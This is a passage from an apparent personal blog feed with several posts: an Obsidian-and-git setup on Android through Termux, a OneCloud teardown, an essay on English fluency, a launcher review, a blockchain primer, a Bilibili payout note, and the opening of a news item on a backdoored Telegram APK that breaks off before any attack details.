&lt;p&gt;This ROM comes with ksu built in. The ROM author says it&apos;s ksu NEXT, but after I installed the ksun manager it told me it couldn&apos;t find the function in the kernel — no idea what that means. With the official ksu branch it says the kernel version is newer than the manager, which is very strange&lt;/p&gt;
&lt;p&gt;Original post: &lt;a href=&quot;https://xdaforums.com/t/astro-os-rom-oneui-8-0-galaxy-s20-series-snapdragon-s23-ultra-port-version-4-0-0-ai-port-camera-enhancements-optimize-stable.4786250/&quot;&gt;XDA&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot_20260621_112506_KernelSU.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Seller&apos;s showcase (screenshots)&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot_20260621_112541_One%20UI%20Home.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot_20260621_112559_Settings.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded><category>Samsung</category><category>Android</category><category>刷机</category><author>Chongxi</author></item><item><title>Using Obsidian and the Git Plugin to Manage a Static Blog Perfectly</title><link>https://xice.cx/en/posts/useGitOnObisdian/</link><guid isPermaLink="true">https://xice.cx/en/posts/useGitOnObisdian/</guid><description>Obsidian + the Git plugin: a blog writing setup with automatic syncing on mobile.</description><pubDate>Sat, 20 Jun 2026 08:31:31 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;Static blog writers have more or less all run into this problem: &lt;code&gt;git push&lt;/code&gt; feels too disjointed and the feedback isn&apos;t timely. After all, a static blog has to build and deploy every time, and each push takes a minute or two — that can&apos;t be solved. But the disjointed feeling caused by git, that one can be solved&lt;/p&gt;
&lt;p&gt;Usually we write markdown in VS Code or another text editor, then have to manually open a terminal and run &lt;code&gt;git push&lt;/code&gt;; writing on multiple devices means configuring git ssh every time — really too much hassle, to the point that recently, because I wasn&apos;t at home and hadn&apos;t set up the repo on my phone, my desire to write dropped off somewhat&lt;/p&gt;
&lt;p&gt;You might ask, why not use the GitHub WebUI? All I can say is that after long-term use it&apos;s really awkward; occasionally going in to fix a bit of text with the web editor is fine, but long-term I &lt;strong&gt;personally&lt;/strong&gt; find it a bit hard to accept&lt;/p&gt;
&lt;p&gt;So back to the point: is there a solution that&apos;s easy and convenient to operate, has a powerful editor, and perfectly handles git&apos;s disjointedness? Yes, my friend, there is:&lt;/p&gt;
&lt;p&gt;Use &lt;strong&gt;Obsidian mobile + the git plugin&lt;/strong&gt; to achieve automatic real-time git sync&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A quick introduction: Obsidian is a well-known Markdown-based text editor; it&apos;s very powerful and cross-platform&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Steps&lt;/h2&gt;
&lt;h3&gt;1. Clone the repository&lt;/h3&gt;
&lt;p&gt;I personally prefer operating directly on the command line, so I used &lt;code&gt;termux&lt;/code&gt;. In termux, first install the most basic git packages&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pkg install -y git openssh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command installs the most basic git package; since I&apos;m used to ssh auth, I installed openssh along the way.&lt;/p&gt;
&lt;p&gt;After cloning, you need to move the repo to Android&apos;s own internal shared storage, so first initialise storage permissions&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;termux-setup-storage
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then copy the blog into internal storage&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# remember to change the folder name to your own
cp -r ~/CEPATO-NEXT /storage/emulated/0/Documents/CEPATO-NEXT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After copying it over, I ran &lt;code&gt;git status&lt;/code&gt; and got the &lt;code&gt;fatal: detected dubious ownership in repository&lt;/code&gt; error — because Android is &lt;code&gt;FUSE&lt;/code&gt; after all, and git refused it for security reasons. So we&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git config --global --add safe.directory /storage/emulated/0/Documents/CEPATO-NEXT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then &lt;code&gt;git status&lt;/code&gt; again, and git reported a pile of &lt;code&gt;modified&lt;/code&gt; even though I hadn&apos;t touched anything, because FUSE doesn&apos;t preserve unix permission bits and git mistakenly thinks they changed. So we&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git config core.fileMode false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and it&apos;s solved.&lt;/p&gt;
&lt;p&gt;One thing to note here: Obsidian uses https, so if you cloned over ssh, you need to change its remote to an https address&lt;/p&gt;
&lt;h3&gt;2. Setting up Obsidian&lt;/h3&gt;
&lt;p&gt;Open Obsidian, choose the repo you just cloned as the vault, then find &lt;code&gt;第三方插件&lt;/code&gt; in settings, turn off safe mode, search for git and install the first one&lt;/p&gt;
&lt;p&gt;Next open GitHub.com and set up a token; remember to tick all the repo scopes, then copy it down&lt;/p&gt;
&lt;p&gt;Then open Obsidian again, go into the git module&apos;s settings, fill in the token, and set the username and email; at this point it should basically work&lt;/p&gt;
&lt;h3&gt;3. Optimisation&lt;/h3&gt;
&lt;p&gt;Since Obsidian and the Android system itself generate a pile of config files, I suggest blocking the following Obsidian content in &lt;code&gt;.gitignore&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.obsidian/workspace*
.obsidian/cache
.obsidian/.trash/
.trash/
*.tmp
.thumbnails/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As for the other git module settings, they vary from person to person; decide for yourself&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;All things considered, the experience is quite good; the Obsidian + git combination is very strong. The only flaw is that this git plugin is implemented in JS and is a bit slow. Almost all the problems I ran into along the way were because &lt;strong&gt;Android isn&apos;t a real Linux filesystem&lt;/strong&gt;; from now on, considering that first when you hit this kind of problem will save you a lot of trouble&lt;/p&gt;
&lt;h2&gt;Screenshots&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./Screenshot_20260620_183331_Obsidian%201.webp&quot; alt=&quot;Obisdian-git-screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Screenshot_20260620_183541_Obsidian.webp&quot; alt=&quot;obsidian-android-screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Screenshot_20260620_183725_Edge.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded><category>博客</category><category>开发</category><author>Chongxi</author></item><item><title>OneCloud Teardown Guide</title><link>https://xice.cx/en/posts/onecloudTeardown/</link><guid isPermaLink="true">https://xice.cx/en/posts/onecloudTeardown/</guid><description>OneCloud teardown guide: a complete illustrated walkthrough from heat gun to short-pin flashing.</description><pubDate>Thu, 18 Jun 2026 16:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;As everyone knows, flashing an OneCloud means either holding reset or short-pinning, and short-pinning requires taking it apart (isn&apos;t that obvious). Plenty of people who tinker with these things probably find it pretty mysterious, because you simply can&apos;t tell where to start. This article walks through it with photos and text&lt;/p&gt;
&lt;h2&gt;Teardown steps&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./20260619_232020-1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It&apos;s actually pretty simple — you mainly start from the back. The back of the OneCloud has a panel stuck on with double-sided tape; take that off and there&apos;s another back plate held on by screws, as shown below&lt;/p&gt;
&lt;p&gt;To remove the first layer of back plate, if you have a heat gun you can heat the plate with it, or a hairdryer on the warm setting will do; once it&apos;s heated, it pops off with a pry&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./20260619_232415-1.webp&quot; alt=&quot;&quot; /&gt;
This is what it looks like after the double-sided-taped back plate is off; then undo the screws, take the back plate off completely, and you&apos;ve successfully opened it&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./20260619_232728-1.webp&quot; alt=&quot;&quot; /&gt;
At this point you can just pick the mainboard out with your hand&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./20260619_232808-1.webp&quot; alt=&quot;&quot; /&gt;
And then you can go for the tense, thrilling short-pin flash&lt;/p&gt;
</content:encoded><category>硬件</category><category>刷机</category><author>Chongxi</author></item><item><title>The Essence of Native-Level English Isn&apos;t English</title><link>https://xice.cx/en/posts/English/</link><guid isPermaLink="true">https://xice.cx/en/posts/English/</guid><description>Cognitive transfer is the core.</description><pubDate>Sat, 06 Jun 2026 15:02:11 GMT</pubDate><content:encoded>&lt;p&gt;Every so often, someone brings up a question:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Is a feel for English a gift?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Some say yes, because some people learn especially fast; some say no, because massive input is enough to train it&lt;/p&gt;
&lt;p&gt;But I have always felt that this question misses the point again. What&apos;s really worth discussing isn&apos;t English&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;People&apos;s understanding of &quot;being good at English&quot; is a big vocabulary, solid grammar, fluent speech&lt;/p&gt;
&lt;p&gt;but if you&apos;ve come into contact with true native-level English speakers, the biggest difference between them and ordinary English learners is often not language ability&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;it&apos;s the way of thinking&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For most people, the English-learning process is essentially a translation process&lt;/p&gt;
&lt;p&gt;See the English &lt;code&gt;freedom&lt;/code&gt; and automatically convert it to 自由. See &lt;code&gt;democracy&lt;/code&gt; and automatically convert it to 民主&lt;/p&gt;
&lt;p&gt;And then consider yourself to have understood it&lt;/p&gt;
&lt;p&gt;This approach can of course enable communication, and is enough for exams, work and even most reading&lt;/p&gt;
&lt;p&gt;But it has a hidden premise:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;All concepts have one-to-one correspondences&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;But reality is not like that&lt;/p&gt;
&lt;p&gt;Language is never just a system of symbols. It is also a &lt;code&gt;cognitive .zip&lt;/code&gt; that a culture has evolved over a long period&lt;/p&gt;
&lt;p&gt;Behind every word, it carries a large amount of historical, social and cultural information&lt;/p&gt;
&lt;p&gt;For example, freedom in English is usually translated into Chinese as 自由&lt;/p&gt;
&lt;p&gt;But if you really enter the English-language context, you&apos;ll find that it is not an isolated word&lt;/p&gt;
&lt;p&gt;Behind it are connected: individualism / property rights / religious freedom / freedom of speech / constitutional tradition&lt;/p&gt;
&lt;p&gt;Together these concepts constitute its semantic space&lt;/p&gt;
&lt;p&gt;When a native English speaker sees freedom, the brain calls up the entire network&lt;/p&gt;
&lt;p&gt;While many learners call up only the two Chinese characters 自由&lt;/p&gt;
&lt;p&gt;In terms of information content, the two are simply not the same thing&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;I would divide English learners into two types&lt;/p&gt;
&lt;p&gt;The first type is stuck in Translation&lt;/p&gt;
&lt;p&gt;Their thinking path is: &lt;code&gt;Chinese concept → translate into English&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For them English is a shell, and what runs underneath is still the Chinese worldview&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The second type has entered Native&lt;/p&gt;
&lt;p&gt;When they see English, they no longer look for the Chinese equivalent, but use the English semantic network directly to understand&lt;/p&gt;
&lt;p&gt;For example, seeing: &lt;code&gt;liberal&lt;/code&gt;. They won&apos;t ask:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Is this translated into Chinese as 自由派 or 自由主义?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Because they know neither translation means anything&lt;/p&gt;
&lt;p&gt;They are more inclined to understand where this word actually sits in the English-speaking world&lt;/p&gt;
&lt;p&gt;That is to say:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;No longer mapping English concepts onto the Chinese world, but entering the English world to understand English concepts from the inside&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;At this point, language is no longer language; it has become a cognitive framework&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The real threshold is not English&lt;/p&gt;
&lt;p&gt;Many people attribute this ability to the language environment, believing that only people who grew up in the US or the UK can do it&lt;/p&gt;
&lt;p&gt;The environment certainly helps, but I think the environment can&apos;t actually explain the whole phenomenon&lt;/p&gt;
&lt;p&gt;Because in reality there are plenty of counterexamples: people born in China, educated in China, living in a Chinese-speaking environment, who nevertheless end up with a way of thinking extremely close to that of native English speakers&lt;/p&gt;
&lt;p&gt;At the same time, there are also people who live in English-speaking countries for many years and remain stuck in translation mode&lt;/p&gt;
&lt;p&gt;This shows that the deciding factor is not just the environment; what is really key is another ability, a more fundamental one&lt;/p&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;The ability to transfer cognition.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Without changing the physical environment, making your thinking enter another set of world-interpretation systems&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Not learning. Transfer.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The way of thinking of the vast majority of people is in fact very stable; they are used to using the cognitive framework formed during their upbringing to explain everything. That&apos;s fine — it&apos;s the lowest-cost option for the brain, and human nature is like that&lt;/p&gt;
&lt;p&gt;If I told an ordinary person:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Try to understand this problem from the perspective of a native English speaker&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;He might say:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Are you an idiot? I&apos;m in China and you want me to use English&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;But some people are different: they seem to naturally possess an ability to temporarily shut down the default framework in their mind and then let another system run&lt;/p&gt;
&lt;p&gt;They will actively think: why do Americans understand it this way? Why do programmers understand it this way? Why do economists understand it this way?&lt;/p&gt;
&lt;p&gt;They don&apos;t rush to judge which side is good; they first try to enter the other person&apos;s model in order to understand&lt;/p&gt;
&lt;p&gt;And English is just the most easily observed result. Many people call this phenomenon an English gift. It isn&apos;t — the same ability appears in completely different fields&lt;/p&gt;
&lt;p&gt;An excellent historian being able to understand the logic of the ancient Romans doesn&apos;t mean he agrees with the ancient Romans; it means he can enter that era and reconstruct it&lt;/p&gt;
&lt;p&gt;An excellent programmer being able to understand different paradigms such as object-oriented, functional and declarative at the same time doesn&apos;t mean he has to choose one of them; it means he can switch freely&lt;/p&gt;
&lt;p&gt;The underlying ability behind these phenomena is actually the same thing. English is just the most widely spread, so it&apos;s the easiest for people to see. And so everyone mistakenly thinks it&apos;s a language gift&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;So-called native-level English&lt;/p&gt;
&lt;p&gt;is not a 20,000-word vocabulary, IELTS 8, and a pronunciation that sounds American&lt;/p&gt;
&lt;p&gt;Those are only results&lt;/p&gt;
&lt;p&gt;It should be:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The ability to use the English-speaking world&apos;s conceptual system to understand problems directly, without going through a native-language translation layer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I&apos;ve mentioned this view over and over again countless times in the past. In 2025, I wrote&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Language is part of what constitutes this world
Languages differ because cultural backgrounds differ; cultural backgrounds differ, so of course our understanding and cognition of the world differ
How each language uses words and organises sentences to describe something represents how they perceive this world, the way they live in this world
Only by mastering this language can you enter the cultural circle behind this language and truly understand, rather than simply translating this world&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;At this point English is no longer important, because English is only the entrance; what is truly scarce was never the language itself&lt;/p&gt;
&lt;p&gt;It&apos;s the ability to jump out of your own environment, enter another world model, and think inside it over the long term&lt;/p&gt;
&lt;p&gt;Language is only the surface; cognitive transfer is the core&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I am not a professional linguist; I&apos;m only sharing a personal view&lt;/em&gt;&lt;/p&gt;
</content:encoded><category>语言</category><author>Chongxi</author></item><item><title>The Best Android Home Screen (Launcher) I&apos;ve Ever Used</title><link>https://xice.cx/en/posts/niagaraLauncher/</link><guid isPermaLink="true">https://xice.cx/en/posts/niagaraLauncher/</guid><description>Niagara Launcher: a minimalist Android launcher recommendation.</description><pubDate>Mon, 01 Jun 2026 06:21:11 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The subject of this article is &lt;strong&gt;Niagara Launcher&lt;/strong&gt;, a third-party launcher famous for its &lt;strong&gt;minimalism&lt;/strong&gt;, developed by independent developer Fabian Stein&lt;/p&gt;
&lt;p&gt;Unlike the traditional launcher grid icon drawer layout we usually see, Niagara displays apps in a &lt;strong&gt;vertically scrolling list&lt;/strong&gt;. The home screen shows only the alphabet navigation bar and frequently used apps — very clean and efficient. I personally really like this&lt;/p&gt;
&lt;h2&gt;Preview&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./1.webp&quot; alt=&quot;NiagaraLauncher&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As the introduction says, the whole launcher is very clean and extremely good-looking, &lt;s&gt;perfect for looking at wallpapers&lt;/s&gt;. When I use a computer I always keep the desktop very clean and open things from a list with shortcuts; Niagara fits my personal habits really well&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./2.webp&quot; alt=&quot;NiagaraLauncher-Applist-screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Swiping on the left or right side of the screen brings up the alphabet menu to quickly find the corresponding app, which feels highly similar in efficiency to using a window manager on my computer&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./3.webp&quot; alt=&quot;NiagaraLauncher-Custom-screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./4.webp&quot; alt=&quot;NiagaraLauncher-Custom-screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The custom themes are highly similar to Android&apos;s native Material you design, so nothing feels disjointed&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./5.webp&quot; alt=&quot;NiagaraLauncher-settings-screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And my favourite one&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./6.webp&quot; alt=&quot;NiagaraLauncher-screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;App notifications are displayed right on the list — very efficient&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This article is not a sponsored post (we&apos;re not influential enough to get one yet); it&apos;s purely my personal, subjective assessment. The launcher comes in Basic and Pro versions; some advanced customisation naturally requires paying, or solving it with a certain kind of magic&lt;/p&gt;
&lt;h3&gt;Who Is It For?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Whether it&apos;s good is something you&apos;ll know the moment you try it&lt;/strong&gt;. If you&apos;re chasing a minimalist information flow, why not download it and give it a go&lt;/p&gt;
</content:encoded><category>Android</category><category>软件</category><author>Chongxi</author></item><item><title>1. Blockchain Basics</title><link>https://xice.cx/en/posts/ch01-web3/</link><guid isPermaLink="true">https://xice.cx/en/posts/ch01-web3/</guid><description>Blockchain basics: a public ledger that everyone can see and no one can tamper with.</description><pubDate>Tue, 26 May 2026 08:22:21 GMT</pubDate><content:encoded>&lt;p&gt;This series of articles focuses on getting ordinary beginners started with Web3 finance quickly. If you&apos;re interested in the underlying technology of blockchain, I recommend reading &lt;a href=&quot;/en/posts/whatIsWeb3/&quot;&gt;Web3 in Depth&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Web3 Transfers&lt;/h2&gt;
&lt;p&gt;Traditional transfer: you → bank records it → the other party
Blockchain transfer: you → all nodes record it together → the other party (no middleman)&lt;/p&gt;
&lt;h3&gt;What &quot;Blocks&quot; and &quot;Chains&quot; Are&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Block&lt;/strong&gt;
Every so often, all the transactions from that period are packed into a block, like a page in a ledger&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chain&lt;/strong&gt;
Each new block contains information about the previous block; joined head to tail, they form a chain&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Block 1] → [Block 2] → [Block 3] → [Block 4]...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you want to tamper with one block, you have to tamper with every block after it at the same time, which requires controlling 51% of the network&apos;s computing power. Nearly impossible — this is where &quot;immutability&quot; comes from&lt;/p&gt;
&lt;h3&gt;What Decentralization Means&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Traditional centralization:&lt;/strong&gt;
User → bank server (single point of control)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The bank can freeze your account, go bankrupt, or be attacked&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Decentralization:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;User → thousands of nodes worldwide (each holding a complete ledger)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No single point of control; no one can shut it down&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Who Keeps the Books&lt;/h3&gt;
&lt;p&gt;The blockchain has no central server, so who packs the blocks and does the bookkeeping?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PoW — Proof of Work (mining)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Example: Bitcoin&lt;/li&gt;
&lt;li&gt;Miners compete for the right to record blocks with computing power&lt;/li&gt;
&lt;li&gt;Power-hungry but extremely secure&lt;/li&gt;
&lt;li&gt;A successful record earns a Bitcoin reward&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;PoS — Proof of Stake (staking)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Example: Ethereum (after 2022)&lt;/li&gt;
&lt;li&gt;Staking coins earns the right to record blocks&lt;/li&gt;
&lt;li&gt;Energy-saving and more environmentally friendly&lt;/li&gt;
&lt;li&gt;A successful record earns an ETH reward&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;This is why &quot;mining&quot; can earn you coins — put bluntly, it&apos;s payment&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Comparison of Major Public Chains&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Public chain&lt;/th&gt;
&lt;th&gt;Positioning&lt;/th&gt;
&lt;th&gt;Fees&lt;/th&gt;
&lt;th&gt;Speed&lt;/th&gt;
&lt;th&gt;Native token&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bitcoin BTC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Digital gold, store of value&lt;/td&gt;
&lt;td&gt;Relatively high&lt;/td&gt;
&lt;td&gt;Slow (10 min/block)&lt;/td&gt;
&lt;td&gt;BTC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ethereum ETH&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The originator of smart contracts, the most mainstream ecosystem&lt;/td&gt;
&lt;td&gt;High (extremely high when congested)&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;ETH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;BNB Chain&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Binance-affiliated, an Ethereum alternative&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;Fast&lt;/td&gt;
&lt;td&gt;BNB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tron&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dedicated to USDT transfers&lt;/td&gt;
&lt;td&gt;Extremely low&lt;/td&gt;
&lt;td&gt;Fast&lt;/td&gt;
&lt;td&gt;TRX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Solana&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High performance, extremely low fees&lt;/td&gt;
&lt;td&gt;Extremely low&lt;/td&gt;
&lt;td&gt;Extremely fast&lt;/td&gt;
&lt;td&gt;SOL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Polygon&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ethereum L2, low fees&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;Fast&lt;/td&gt;
&lt;td&gt;MATIC&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Smart Contracts&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Programs that execute automatically on the blockchain, requiring no human intervention&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You deposit 100 USDT&lt;/li&gt;
&lt;li&gt;The contract automatically calculates the interest&lt;/li&gt;
&lt;li&gt;At maturity it is automatically returned to you&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No one can stop it from executing, and no one can change the rules (once deployed)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DeFi, NFT and DEX are all built on smart contracts&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Token Types&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Native coin&lt;/strong&gt;
The currency of the public chain itself, used to pay Gas fees
→ ETH, BNB, TRX, SOL&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Token&lt;/strong&gt;
Assets issued on top of a public chain, such as USDT
→ USDT is essentially a smart contract on Ethereum/Tron&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stablecoin&lt;/strong&gt;
A token pegged to the price of fiat currency
→ USDT (Tether), USDC (Circle)&lt;/p&gt;
&lt;h3&gt;Block Explorers&lt;/h3&gt;
&lt;p&gt;The blockchain is public; every transaction can be looked up&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Public chain&lt;/th&gt;
&lt;th&gt;Website&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Ethereum&lt;/td&gt;
&lt;td&gt;etherscan.io&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BNB Chain&lt;/td&gt;
&lt;td&gt;bscscan.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tron&lt;/td&gt;
&lt;td&gt;tronscan.org&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bitcoin&lt;/td&gt;
&lt;td&gt;mempool.space&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;After a transfer, paste the transaction hash (TxHash) into an explorer and you can see the transfer status, amount and time — a permanent public record&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Next time we&apos;ll cover &lt;strong&gt;Web3 wallets and asset security&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>Web3</category><author>Chongxi</author></item><item><title>Withdrawal for Bilibili&apos;s Creator Incentive Now Has Almost No Threshold</title><link>https://xice.cx/en/posts/bilibiliWithdrawal/</link><guid isPermaLink="true">https://xice.cx/en/posts/bilibiliWithdrawal/</guid><description>Bilibili&apos;s old 100 CNY threshold is gone</description><pubDate>Sun, 24 May 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Veteran up users who have enabled Bilibili&apos;s Creator Incentive probably know that the minimum withdrawal threshold for Bilibili Shells used to be 100 CNY&lt;/p&gt;
&lt;p&gt;Recently, while idly checking my Shell wallet, I suddenly found that the minimum threshold has been lowered to 1 CNY — almost no threshold at all. I suppose that counts as a good thing for up users&lt;/p&gt;
&lt;p&gt;The company doing the transfer has also changed from &lt;code&gt;上海宽娱数码科技公司&lt;/code&gt; to &lt;code&gt;番茄站智能科技&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Before:
&lt;img src=&quot;./1.webp&quot; alt=&quot;legacy&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now:
&lt;img src=&quot;./2.webp&quot; alt=&quot;now&quot; /&gt;&lt;/p&gt;
</content:encoded><category>生活</category><author>Chongxi</author></item><item><title>Breaking: The APKPure Version of Telegram Has a Malicious Backdoor Planted In It</title><link>https://xice.cx/en/posts/TelegramApkpureHacked/</link><guid isPermaLink="true">https://xice.cx/en/posts/TelegramApkpureHacked/</guid><description>The APKPure version of Telegram has a malicious backdoor planted in it that quietly uploads chat logs and photos</description><pubDate>Sun, 24 May 2026 05:21:11 GMT</pubDate><content:encoded>&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;If you&apos;ve ever downloaded Telegram from APKPure, your phone may be quietly uploading your chat logs, photos, contacts and location to an attacker&apos;s server&lt;/p&gt;
&lt;p&gt;Security researcher Eric Parker decompiled the Telegram 12.6.5 installer on APKPure and found a spyware framework called &lt;code&gt;DataCollector&lt;/code&gt; injected into it. The attack chain is complete and the code is professional — a textbook third-party app store supply chain attack&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./1.webp&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How the attack works&lt;/h2&gt;
